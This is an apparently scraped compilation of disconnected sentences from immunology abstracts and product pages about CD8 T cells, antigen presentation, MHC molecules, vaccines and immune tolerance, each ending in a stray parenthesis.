  • Lastly, vaccination of CEA transgenic mice with yeast CEA elicited antigen-specific CD4 (+) and CD8 (+) immune responses in vivo. (
  • Previous studies on CTL responses in HIV-exposed uninfected individuals assumed that the patients were exposed to replicating HIV, but the possibility that the immune responses detected were primed by exposure to a defective virus or viral antigen could not be excluded. (
  • The heavy chain portion of human and macaque class I tetramers contains a patented mutation to minimize non-specific binding of tetramers to CD8 on the cell surface, improving the specificity of these reagents to accurately discriminate the rare, antigen-specific T cells from the general CD8+ T cell population. (
  • In vitro-generated suppressor cells mimicked those produced by anterior chamber injection of antigen, as shown by their antigen specificity, surface expression of CD8, and capacity to suppress DTH, which is mediated by previously immunized T cells. (
  • Purified CD8 + T cells from influenza A/WSN-immune BALB/c (H-2 d ) mice respond with the generation of secondary A/WSN-specific Tc cells in vitro when stimulated with a synthetic peptide (NPP) with a sequence derived from influenza A virus nucleoprotein with high affinity for K d class I MHC molecules. (
  • Class I MHC molecules include HLA-A, HLA-B, or HLA-C and serve as the antigen-presenting platform for CD8 or suppressor T cells. (
  • Class II MHC molecules, the HLA-D region, serve as the antigen-presenting cells for CD4 or helper T cells. (
  • CD8 T cells bind to class I MHC molecules and generally mediate cytotoxicity. (
  • In the normal host, T cells are "trained" to recognize foreign peptides expressed in the context of self-MHC molecules and are tolerant to self antigens. (
  • MHC class I molecules are involved in presentation of antigens to CD8 + T cells. (
  • In Aim 1, we will define the HLA- A2-restricted T cell response to the important autoantigen islet-specific glucose-6-phosphatase catalytic subunit-related protein (IGRP) using an innovative HLA-A*0201-transgenic NOD mouse model that expresses human IGRP in the absence of its murine counterpart and also lacks murine class I MHC molecules, so all CD8 T cells will be restricted to HLA-A2. (
  • Among the different regulatory T lymphocyte (Treg) subpopulations, non-antigen-specific CD8CD28Treg (CD8CD28 Treg) have been characterized for being involved in the pathogenesis of autoimmune diseases and cancer. (
  • 1. Determine the maximum tolerated dose (MTD) of CD8-depleted non-engrafting human leukocyte antigen (HLA) mismatched unrelated donor lymphocyte infusion (NE-DLI) in patients with myeloid malignancies. (
  • Given that Gal-8 can potentially interact with several glycoproteins, here we analyzed the β2 integrin Lymphocyte Function-Associated Antigen-1 (LFA-1), which is involved in leukocyte cell adhesion and immunological synapses. (
  • The ring junction contained lymphocyte function associated antigen-1 and talin, but did not trigger polarization and granule translocation to the interface. (
  • In this issue of the JCI , Das and colleagues report an association between early therapy-induced changes in circulating B cells and an increased risk of high-grade immune-related adverse events (IRAEs) in patients treated with checkpoint inhibitors that target cytotoxic T lymphocyte-associated antigen-4 (CTLA4) and programmed cell death protein 1 (PD1). (
  • Intracellular delivery of a protein antigen with an endosomal-releasing polymer enhances CD8 T-cell production and prophylactic vaccine efficacy. (
  • The recall response of splenocytes to re-stimulation with protein antigen is measured by CD4 and CD8 T cell proliferation and secretion of cytokines by T cells. (
  • The S protein antigen covers the surface of the virus, making it easy for the immune system to find, and an ideal target for protective immunity. (
  • It has long been known that protein antigen conjugated with polyethylene glycol (PEG), a nonimmunogenic artificial polymer, induces immune tolerance of antigen-specific Th cells. (
  • To date, however, none of the PEG-protein antigen conjugates has been used effectively as a tool for antigen-specific immune intervention. (
  • We studied the response and differentiation of OVA-specific naïve Th cells upon exposure to tolerogenic PEG-OVA with the hope that such knowledge may lead to practical application of PEG-protein antigen conjugates to induce immune tolerance. (
  • The unit handles all the formulations of Texas Children's Hospital Center for Vaccine Development, turning recombinant antigens into safe, long-term stable and potent vaccines. (
  • The rapid evolution of the SARS-CoV-2 virus is forcing researchers to assess if the S protein alone is an adequate antigen for vaccine design. (
  • A DNA vaccine was designed to express them as a unique antigen with or without a three amino acid ARY extension flanking each epitope. (
  • Recombinant Saccharomyces cerevisiae (yeast) represents a unique and attractive vehicle for delivering antigens in cancer or infectious disease vaccine immunotherapy protocols, as it has been shown to be extremely safe and can be administered multiple times to hosts. (
  • Two single-antigen recombinant vaccines, Recombivax HB (Merck & Co, Inc., Whitehouse Station, NJ) and Engerix-B (GlaxoSmithKline Biologicals, Rixensart, Belgium), and one combination hepatitis A/hepatitis B vaccine, Twinrix (GlaxoSmithKline Biologicals), are approved for use in adults in the U.S. ( 15 ). (
  • His work in humans is devoted to to the immunology of telomerase reverse transcriptase, a prototype universal cancer antigen. (
  • Thymoquinone, the active ingredient of Nigella sativa seeds, enhances survival and activity of antigen-specific CD8-positive T cells in vitro. (
  • CD8, also known as T8 and Leu2, is a member of the immunoglobulin superfamily found on the majority of thymocytes, a subset of peripheral blood T cells, and NK cells (which express almost exclusively CD8a homodimers). (
  • Ozone exposure impairs antigen-specific immunity but activates IL-7-induced proliferation of CD4(-)CD8(-) thymocytes in balb/c mice. (
  • The CD8 antigen is also detected on natural killer (NK) cells, subpopulations of peripheral blood null cells, thymocytes and bone marrow cells. (
  • PD-1 is expressed on a subset of CD4-CD8- thymocytes, and on activated T and B cells. (
  • The CD8 α and α' chains (CD8a) form heterodimers with the CD8 β chain (CD8b, Ly-3, or Lyt-3) on the surface of most thymocytes. (
  • A novel antigen on chicken thymocytes was defined by CETHB1 and CETH46 monoclonal antibodies (mAbs) that were prepared against chick embryonic thymocytes. (
  • Thymocytes from these mice are arrested at the CD4-CD8- stage of T cell development. (
  • We previously observed that thymocytes from RAG-2-/- mice exposed to gamma radiation differentiate from CD4-CD8- into CD4+CD8+ without TCR-beta chain rearrangement. (
  • Generation of RAG2-/- and p53-/- double-deficient mice revealed that, in the absence of TCR-beta chain rearrangement, loss of p53 function is sufficient for CD4-CD8- thymocytes to differentiate into the CD4+CD8+ stage of T cell development. (
  • Our data provide evidence for a novel p53 mediated checkpoint in early thymocyte development that regulates the transition of CD4-CD8- into CD4+CD8+ thymocytes. (
  • CD24, also known as heat stable antigen, is a phosphatidylinositol-linked cell surface glycoprotein that is expressed at all stages of B cell development and on most thymocytes. (
  • The absence of expression from mature T cells is closely associated with their maturation from CD4 + CD8 + CD24 + thymocytes to either CD4 + CD8 - CD24 - or CD4 - CD8 + CD24 - T cells. (
  • Antibodies against specific EBV antigens and a number of autoantibodies also are produced. (
  • These combination immunoassays allow earlier HIV detection, as they detect both HIV-1 and HIV-2 antibodies, as well as HIV-1 p24 antigen. (
  • [ 10 ] The p24 antigen is a viral capsid protein that arises in early infection, before development of HIV antibodies. (
  • 2021. Monoclonal antibodies targeting nonstructural viral antigens can activate ADCC against human cytomegalovirus . (
  • Systemic lupus erythematosus (SLE) is a progressive autoimmune disease characterized by high levels of antibodies directed against nuclear antigens. (
  • Antigen retrieval helps restore the structure of such proteins by breaking the cross-links and unmasking the antigenic sites, thereby making them more accessible to antibodies. (
  • Humoral immunity can neutralize and eradicate outside microbes and toxins via antibodies produced by B cells [ 24 - 26 ], whereas cellular immunity responds more quickly to eradicate intracellular microbes through recognition of antigens, activation of antigen presenting cells (APCs), activation and proliferation of T cells. (
  • 1. Ledbetter JA, Herzenberg LA. Xenogeneic monoclonal antibodies to mouse lymphoid differentiation antigens. (
  • The role of cytomegalovirus (CMV)-specific polyfunctional CD8 + T-cells and that of antibodies neutralizing virus epithelial infection (AbNEI) in the control of CMV DNAemia were investigated in 39 CMV-seropositive allogeneic stem-cell transplant (Allo-SCT) recipients with ( n = 24) or without ( n = 15) CMV DNAemia. (
  • After antigen recognition and activation, CD8 + cytotoxic T cells may trigger keratinocyte apoptosis. (
  • Defects in the antigen processing machinery (APM) may provide tumor cells with a mechanism to escape immune recognition. (
  • According to the immune surveillance theory, large tumours escape immune recognition by downregulating major histocompatibility complex (MHC) class I or by altering expression of tumour antigens, thus leading to an escape from cytotoxic killing by CD8 cells 3 . (
  • Initial antigen recognition predominantly occurs in secondary lymphoid organs, where recipient T cells interact with antigens derived from the donor. (
  • Unlike the T?cells conventional antigen recognition mechanism, CARs recognize antigens on the target cell surface in their unprocessed form and in a major histocompatibility complex (MHC)-independent manner (Fig.?1). (
  • In its simplest form, a CAR molecule consists of an extracellular antigen recognition domain, a hinge, a transmembrane domain, and an intracellular signaling domain. (
  • These cases were characterized by over-expression of a large set of myeloid-related genes for surface antigens, transcription factors and granule proteins. (
  • Genes down-regulated in comparison of naive CD8 T cells versus memory CD8 T cells. (
  • Expression Arrays Gene synthesis also revealed the rapid upregulation of numerous cytokine and chemokine mRNAs, as well as genes involved in signal transduction and antigen uptake. (
  • The aims of this study were to determine the clinical and histological characteristics of melanoma in transplant recipients, the mutation profile (BRAF, NRAS and c-KIT genes), and the immune tolerance of the tumour microenvironment by immunohistochemical study of the expression of indoleamine 2,3-dioxygenase (IDO), PD1, PD-L1, CD8 and FoxP3. (
  • Genes up-regulated in CD8 T cells: na ve versus effectors at day 8 after acute infection with LCMV-Armstrong. (
  • The research, conducted in Richer's lab by graduate student Logan Smith, revealed that certain viruses persist by driving the production of a cytokine that leads to modification of glycoproteins on the surface of the CD8 + T cells, making the cells less functional. (
  • We explored the circulating T cell profile, their reactivity to self-antigens and plasma cytokine levels in Indian patients with Myocardial Infarction. (
  • Moreover, we determined that hypoxia could inhibit IL-2-induced proliferation cues and antigen-induced pro-inflammatory cytokine production in CTLs. (
  • Cellular alloimmunity: Cell-mediated alloimmunity is initiated by antigen-specific T cells that, in concert with other cellular components, result in cytolytic and cytokine-induced damage of a transplanted organ. (
  • Quantification of CMV-specific polyfunctional CD8 + T-cells (expressing two or three of the following markers: IFN-γγ, TNF-α and CD107a) in whole blood was performed by flow cytometry for intracellular cytokine staining. (
  • These elements foster maturation of antigen presenting cells as well as robust activation of CD8 T cell effector and memory function. (
  • instead, they recognize antigen on parenchymal cells-presumably parasitized hepatocytes. (
  • Therefore, early in the formation of oral lichen planus lesions, CD8 + T cells may recognize an antigen associated with the major histocompatibility complex (MHC) class I on keratinocytes. (
  • and thirdly, killing of infected CD4+ T cells by CD8 cytotoxic lymphocytesthat recognize infected cells. (
  • Fighting off infections depends largely on our bodies' capacity to quickly recognize infected cells and destroy them, a job carried out by a class of immune cells known as CD8 + T cells. (
  • In most cases, CD8 + T cells quickly recognize and destroy infected cells to prevent the infection from spreading. (
  • When they injected the mice with peptides that the CD8 T cells could recognize, it led to the death of inflammation-causing T cells and a reduction in symptom severity. (
  • When T cells spot a potential enemy agent, they identify a distinguishing molecular feature, or antigen, that helps them recognize the agent. (
  • b CAR T?cells recognize cell-surface antigens on tumor cells within an unprocessed way individual of MHC. (
  • ABSTRACT Immunity against the bovine intracellular protozoan parasite Theileria parva has been shown to be mediated by CD8 T cells. (
  • After an animal has been immunized with a model antigen, lymph nodes draining the site of inoculation are the venue for a tightly regulated series of events that profoundly influences the subsequent fate of cellular immunity 1 . (
  • In the context of antitumor immunity, these CD8 + T cell subsets remain poorly characterized in terms of fate-specific biomarkers and transcription factor profiles. (
  • There is no universally accepted classification system of CD8 + T cell fates in the context of antitumor immunity. (
  • Here we examine their stimulation of antigen-specific CD4 + T cells, critical for protective immunity against tumors or infectious disease. (
  • The encapsulation of recombinant proteins in biocompatible and biodegradable nano- and microparticles is emerging as a promising approach to boost their immunogenicity by passively targeting them to antigen presenting cells (APCs) [ 7 - 9 ]. (
  • Primary hepatitis B vaccination usually consists of 3 (or 4) doses of 10 or 20 µg of recombinant hepatitis B surface antigen (HBsAg) protein administered intramuscularly into the deltoid muscle on a 0-, 1-, and 6-month schedule ( Table 1 ). (
  • 5T4 is often referred to as an oncofetal antigen due to its expression in foetal trophoblast (where it was first discovered) or trophoblast glycoprotein (TPBG). (
  • In HIV, the HIV-2 envelope glycoprotein binds CD8 alpha chain (but not the beta chain). (
  • In this situation, the two individuals differ at MHC (major histocompatibility complex) loci, also known as human leukocyte antigen [HLA] loci), and/or differ at minor histocompatibility antigens. (
  • Cellular and molecular characterization of antigens recognized by tumor-reactiveT cells isolated from responding patients could potentially provide insight into the mechanisms of tumor regression. (
  • Phenotypic characterization of CD8(+)NKT cells. (
  • Although this strategy allowed predicting the interaction between mutated peptides and HLA-I, the functional response of CD8 + T-cells that these peptides induce is unknown. (
  • When CD8 T cells of mixed-chimera mice were functionally examined, they were found to be hypo-responsive to allogenic re-stimulation to either donor or host antigens . (
  • T cell responseis enhanced in aged mice and is associated with an enhanced antigen-specific CD8 T cell response. (
  • The Ii-OVA vector was the most potent inducer of IFN-γ-secreting CD4 + and CD8 + T cells and was the only vector to protect mice completely from challenge with OVA-expressing tumor cells. (
  • Although studies into T-cell equilibrium have mainly focused on regulatory CD4 + FoxP3 + T cells (CD4 + Tregs), recent findings on the lesser known CD8 + Tregs (CD44 + CD122 + Ly49 + ) have highlighted their non-redundant role in regulating lupus-like disease and their regulatory phenotype facilitated by the transcription factor Helios in mice and humans. (
  • We observed that all MRL animals showed a dramatically reduced population of CD8 + Tregs and a greater Helios downregulation on diseased mice. (
  • Helios induction was detected preferentially on CD8 + T cells from OT-I mice co-cultured with tolDCs from C57BL/6 but not in MRL animals. (
  • Indeed, how Helios expression influences the stability of the immunosuppressive phenotype of CD8 + Tregs has been studied ( 16 ) and, more recently, how Helios deficiency in this particular cell subset may be associated with lupus-like disease in mice and SLE in humans ( 12 ). (
  • K) Pub graph shows the amount of recently methylated areas in antigen-specific cKO Compact disc8 T cells from chronically contaminated mice in the effector (black dashed bar) and chronic (gray dashed bar) stages of the immune response. (
  • M) Graph-based visualization of statistically enriched (loci in WT and cKO tetramer+ CD8 T cells from chronically infected mice at 8 dpi or 35 dpi. (
  • B) Loci-specific bisulfite sequencing analysis summary graphs of methylation status at individual CpG sites in the DMRs of the loci in na?ve, and tetramer+ CD8 T cells isolated during the effector (at 8 dpi of mice infected with the chronic strain of LCMV) or post-effector stages from chronically infected WT and cKO mice and the memory stage of acutely infected WT mice. (
  • C) Loci-specific bisulfite sequencing summary graphs of methylation status at individual CpG sites in the DMRs of the loci in na?ve, and tetramer+ CD8 T cells isolated after PD-1 blockade treatment of chronically infected WT mice. (
  • B) Cluster dendrogram analysis of na?ve and LCMV-specific CD8 T cells from acutely infected WT mice at 35 dpi and chronically infected WT and cKO mice at 8 and 35 dpi. (
  • C) Loci-specific bisulfite sequencing analysis of exhaustion-associated DMRs in the and loci among LCMV-specific WT CD8 T cells isolated from chronically LCMV-infected WT mice at 35 dpi, with or without CD4 T cell help. (
  • Y-axis shows log2 fold change between WT cKO antigen-specific CD8 T cells from chronically infected mice at 35 dpi, and x-axis shows differential DNA methylation changes in WT cKO antigen-specific CD8 T cells from chronically infected mice at 35 dpi with 20% cutoff. (
  • Susceptibility to PIFS is dependent on peptide-specific CD8 + T cells, varies among inbred strains of mice, and is not mediated by traditionally defined mechanisms of shock. (
  • Injection of mice subcutaneously with yeast-CEA resulted in a rapid increase in MHC class II (+) cells and total antigen-presenting cells in the draining lymph nodes. (
  • We will use the islet-infiltrating CD8 T cells from these newly developed, diabetes-susceptible mice to screen a library consisting of all possible 8-, 9-, 10-, and 11-mer peptides that can be derived from human IGRP. (
  • Along with the sustained release of antigen within several days in the retention systems, a flow of antigen-presenting cells (APCs) can be recruited for uptake and maturation, and these then home to lymph nodes to activate T cells. (
  • As a large number of APCs and T cells reside in lymph nodes, directly delivering antigen into lymph nodes is being considered as an alternative and even preferred strategy [13, 14]. (
  • By mimicking pathogen dimensions, microparticles are more prone to be phagocyted by APCs than soluble antigen. (
  • Antigen-presenting cells (APCs) connect both systems and identify external antigens in the body [ 13 ]. (
  • In addition to antigen, adjuvants such as CpG oligodeoxynucleotides (CpG ODN) and flagellin can be codelivered to the lymph nodes, which will significantly improve the MHC-I presentation for cytotoxic T cell activation [13, 17]. (
  • Here, we investigated the interference of Ag-specific CD4(+)CD25(+) regulatory T cells (Treg) with the tumor-specific CD8 T cell immune response in vivo, by monitoring the homing, expansion, and effector function of both subsets in draining and nondraining lymph nodes. (
  • Researchers can schedule to have their samples analyzed or sorted for membrane, cytoplasmic and nuclear antigen expression, light-scattering properties, DNA content, cell cycles, and apoptosis, as well as measured for intracellular biochemical changes such as calcium flux and pH. (
  • Methods and Results: Intracellular expression of interferon-γ Interleukin (IL)-4, IL-17, IL-10 and Foxp3 were determined in CD4 + and CD8 + T cells using flow cytometry in patients with ST elevated myocardial infarction (STEMI) (N = 79) and controls (N = 80). (
  • They suggest that - together with the discovery that the cells carry immune suppressing proteins on their surfaces - these findings confirm that CD8 T cells can be suppressor cells. (
  • An in vitro model of the ACAID spleen was used to recapitulate the events that occur when antigen is introduced into the anterior chamber of the eye and culminates in the appearance of antigen-specific, CD8 + suppressor cells. (
  • Lysosomal acidification of the captured antigen is essential for the processing of the ACAID antigen before TAP-independent presentation to suppressor cells. (
  • The specific antigen that triggers lichen planus is unknown, although it may be a self-peptide (or altered self-peptide), in which case lichen planus would be a true autoimmune disease. (
  • They then replicate themselves to make large numbers of T cells that remember the specific antigen. (
  • The functional profile of CD8 + T-cells was evaluated using flow cytometry, and the frequency of subpopulations was determined according to their number of functions and the polyfunctionality index. (
  • Flow cytometry did not demonstrate evidence of B cell clone or loss of T cell surface antigens. (
  • Peripheral blood mononuclear cells isolated from blood samples are analyzed for antigen-specific CD4-positive or CD8-positive T-cell response by flow cytometry or by TGF-β1 ELISPOT assay to measure TGF-β1- secreting cells. (
  • IMV's lead candidate, maveropepimut-S (MVP-S), delivers antigenic peptides from survivin, a well-recognized cancer antigen commonly overexpressed in advanced cancers. (
  • They found that activating the CD8 T cells with peptides stimulated them to pierce holes in the inflammatory T cells. (
  • Restrictive criteria for proteasome cleavage and HLA-A*0201 binding revealed 92 peptides probably recognized by CD8 + T cells. (
  • Circulating HIV-specific CD8 cells were detected by tetramer staining and a high frequency of T cells were able to release IFN-gamma upon stimulation with HIV peptides, showing in vivo T cell priming by HIV. (
  • a Antigens are processed within tumor cells and the major histocompatibility complicated (MHC) presents antigenic peptides on the top of tumor cells. (
  • Macrophages have also been reported to express CD8αandβchains, which are involved in signal transduction. (
  • The innate immune system is composed of macrophages, neutrophils and natural killer (NK) cells as well as nonpolymorphic proteins, such as complement and cytokines, which respond to generic antigens. (
  • The results suggest that B cells use the BCR to capture and internalize antigen from ACAID-inducing macrophages. (
  • Peptide-specific CD8 T cells were able to kill M. tuberculosis-infected macrophages and produce gamma interferon and tumor necrosis factor alpha. (
  • Recruiting triggered TCR complexes to these membrane microdomains as well as affinity of TCR to MHC I is modulated by CD8, thereby affecting the functional diversity of the TCR signaling. (
  • Requirement for CD4 T cell help in generating functional CD8 T cell memory. (
  • DNA Methylation and Gene Expression Profiling of LCMV-Specific cKO and WT CD8 T Cells during Acute and Chronic Infection, Related to Figures 1 pyrvinium and ?and22 (A) Scatter plot demonstrates correlation between Dnmt3a-mediated DMRs in exhausted WT cells functional memory-related DMRs. (
  • Memory CD8+ T cells are highly functional, proliferate rapidly upon reinfection and persist long-term without antigen. (
  • These studies clarify mechanistically how CPXV203 coordinates with other cowpox proteins to thwart antigen presentation. (
  • Furthermore, remarkable, durable reactions have been noticed using the adoptive transfer of CAR T?cells targeting B?cell maturation antigen-positive (BCMA+) multiple myeloma [12]. (
  • The time delay tial expression of CD4 and CD8 coreceptors. (
  • Activation of self-reactive CD8 + T cells induces a peripheral tolerance mechanism that involves loss of CD8 expression. (
  • Our data describes how Fas and FasL upregulation differs depending on the setting of CD8 T cell activation and demonstrates that Fas/FasL signaling maintains CD8 expression during repetitive antigen stimulation and following self-antigen encounter. (
  • The expression or unmasking of the lichen planus antigen may be induced by drugs (lichenoid drug reaction), contact allergens in dental restorative materials or toothpastes (contact hypersensitivity reaction), mechanical trauma (Koebner phenomenon), viral infection, or other unidentified agents. (
  • PD-L1 Expression and [CD8.sup. (
  • Even if we analyzed only T cell markers so far, results show that the expression of CD8 and CD103 in tumor infiltrates could be of prognostic value in OSCCT. (
  • On the significance of CD8 alpha alpha expression for T cell memory. (
  • The present study aimed to analyse the alteration of CD8 + T‑cell infiltration and programmed death‑ligand 1 (PD‑L1) expression following radiotherapy in clinical samples from patients with uterine cervical squamous cell carcinoma. (
  • CD8 + T‑cell infiltration and PD‑L1 expression were determined by immunohistochemistry using biopsy specimens before radiotherapy (pre‑RT) and after 10 Gy radiotherapy (post‑10 Gy). (
  • D & E) Heat maps show representative differences in gene expression between WT and cKO CD8 T cells. (
  • Susceptibility to the syndrome is genetically determined, is mediated by CD8 + T cells, and requires expression of perforin. (
  • [4] , [5] So we aim to study the utility of MHC Class I antigen expression for the diagnosis of IIM and to differentiate them from other muscle diseases. (
  • We used microarrays to examine the gene expression differences between naive, effector, memory and exhausted virus-specific CD8 T cells following lymphocytic choriomeningitis virus infection. (
  • CD8 is a disulfide-linked dimer and exists as a CD8 alpha/alpha homodimer or CD8 alpha/beta heterodimer (each monomer approx. (
  • The majority of CD8+ T cells express CD8 as a alpha/beta heterodimer. (
  • Although suppression of HBV replication is achieved in the majority of patients with currently available newer antivirals, discontinuation of therapy prior to hepatitis B surface antigen loss or seroconversion is associated with relapse of HBV in the majority of cases. (
  • The delivery system consists of a stealth liposome displaying a cancer-specific targeting peptide, named H1299.3, on its exterior surface and encapsulating H250, an immunogenic human leukocyte antigen class 1 restricted peptide. (
  • Activation is dependent on the targeting peptide, previous antigen exposure, and utilizes a novel autophagy-mediated mechanism to facilitate presentation. (
  • However, the precise site where DCs acquire and present parasite antigen following sporozoite infection through the skin has not been identified. (
  • Defective CD8 T cell memory following acute infection without CD4 T cell help. (
  • Thus, the guidelines presented below are intended for the evaluation and management of persons who may have tuberculous infection and HIV-induced anergy to delayed-type hypersen- sitivity (DTH) skin test antigens, including PPD-tuberculin. (
  • 2019. Primary EBV infection induces an acute wave of activated antigen-specific cytotoxic CD4+ T cells . (
  • F) Summary graph of the frequency of IL-2-producing cells among total IFN+ WT and cKO CD8 T cell splenocytes after 5 hours of ex vivo stimulation with the gp33 peptide after 2 months of chronic LCMV infection. (
  • L) Principle component analysis (PCA) of DNA methylation profiles in na?ve and LCMV-specific WT and cKO CD8 T cells at the effector and chronic stages of chronic LCMV infection. (
  • and cytotoxicity assays for CD8 T cells and NK cells. (
  • hly(+) induces apoptotic vesicles for improved priming of CD4(+) and CD8(+) T cells. (
  • Here we present a nanoparticle delivery system that facilitates presentation of an immunogenic measles antigen specifically in cancer cells. (
  • Therefore, strategies for efficient antigen internalization and subsequent MHC-I presentation are urgently needed for therapeutic vaccines. (
  • This process, essential for the efficacy of therapeutic vaccines, is called cross presentation, and DCs are the main antigen cross presenting and cross priming cell type in vivo [ 11 ]. (
  • After transplantation of organ allografts, there are two pathways of antigen presentation. (
  • Thinking about protein folding led to thinking about protein degradation and the immunologically useful consequence of protein degradation products - antigen processing and presentation. (
  • Determine whether any systemic immune response is detectable by the combination of cryotherapy as the antigen presentation source and GM-CSF as the immunologic adjuvant. (
  • One of the hallmarks of viral immune evasion is the capacity to disrupt major histocompatibility complex class I (MHCI) antigen presentation to evade T-cell detection. (
  • Rapid antigen processing and presentation of a protective and immunodominant HLA-B*27-restricted hepatitis C virus-specific CD8+ T-cell epitope. (
  • The addition of culture supernatants from several mouse and human B cell lymphomas and LPS-activated normal mouse B cells to the culture of NPP-stimulated immune CD8 + T cells enhanced the induction of secondary Ag-specific Tc cells. (
  • To further explore the structural features that allow the clonally expressed TCR to functionally engage with multiple peptide-major histocompatibility complexes (pMHCs), we examined the ILA1 CD8 + T-cell clone that responds to a peptide sequence derived from human telomerase reverse transcriptase. (
  • Flow cytometric analysis of live human peripheral blood mononuclear cells using CD8α (RPA-T8) Mouse mAb (PerCP-Cy5.5 ® Conjugate) (solid line) compared to concentration-matched Mouse (MOPC-21) mAb IgG1 Isotype Control (PerCP-Cy5.5 ® Conjugate) #24589 (dashed line). (
  • The first human leukocyte antigen (HLA) haplotype association with human inflammatory disease was discovered in 1972, correlating HLA-B27 with ankylosing spondylitis. (
  • In summary, the SARS-CoV-2 viral spike (S) protein, as shown in the figure below, is the key antigen targeted by the first generation of COVID-19 vaccines, because it enables the SARS-CoV-2 virus to enter human cells . (
  • Accordingly, in both human and murine SLE, there is an accumulation of autoreactive CD4 + and CD8 + memory T cells that cannot be counteracted by their regulatory T-cell (Treg) counterparts. (
  • We found that, in preclinical models of transplants which mimic those performed between HLA ( human leukocyte antigen ) matched patients, we would want to interfere with the STING pathway to minimize graft versus host disease and the complications associated with this disorder. (
  • HLA antigens: Grafts transplanted from one member of a species to a different non-identical member of that same species (e.g., one human to another) are termed allografts. (
  • Previous studies suggested an important role for CD8 + T cells in the host defense against Mycobacterium tuberculosis (M.tb) , the etiologic agent for human tuberculosis. (
  • Human leucocyte antigen genotype association with the development of immune-related adverse events in patients with non-small cell lung cancer treated with single agent immunotherapy. (
  • Yeast expressing human carcinoembryonic antigen (CEA) was studied as a model antigen. (
  • Primary structure of human neutrophil antigens 1a and 1b. (
  • MHC class I antigens associated with β2-microglobulin are expressed by all human nucleated cells. (
  • Rats were immunised with mouse L cells transfected with human CD8 gene. (
  • The adaptive immune system plays a pivotal role in the host's ability to mount an effective, antigen-specific immune response against tumors. (
  • Antigen dominance hierarchies shape TCF1 + progenitor CD8 T cell phenotypes in tumors. (
  • Current data suggest that oral lichen planus (OLP) is a T-cell-mediated autoimmune disease in which autocytotoxic CD8 + T cells trigger the apoptosis of oral epithelial cells. (
  • Nevertheless, these Treg abrogate CD8 T cell-mediated tumor rejection by specifically suppressing the cytotoxicity of expanded CD8 cells. (
  • Treatment with this system facilitates activation of a secondary immune response against cancer cells, bypassing the need to identify tumor-associated antigens or educate the immune system through a primary immune response. (
  • CD3 + TCR-αβ + CD4 - CD8 - ) T cells that have been proposed to derive from CD8 + cells, we decided to explore the role of Fas and FasL in self-antigen-induced CD8 downregulation. (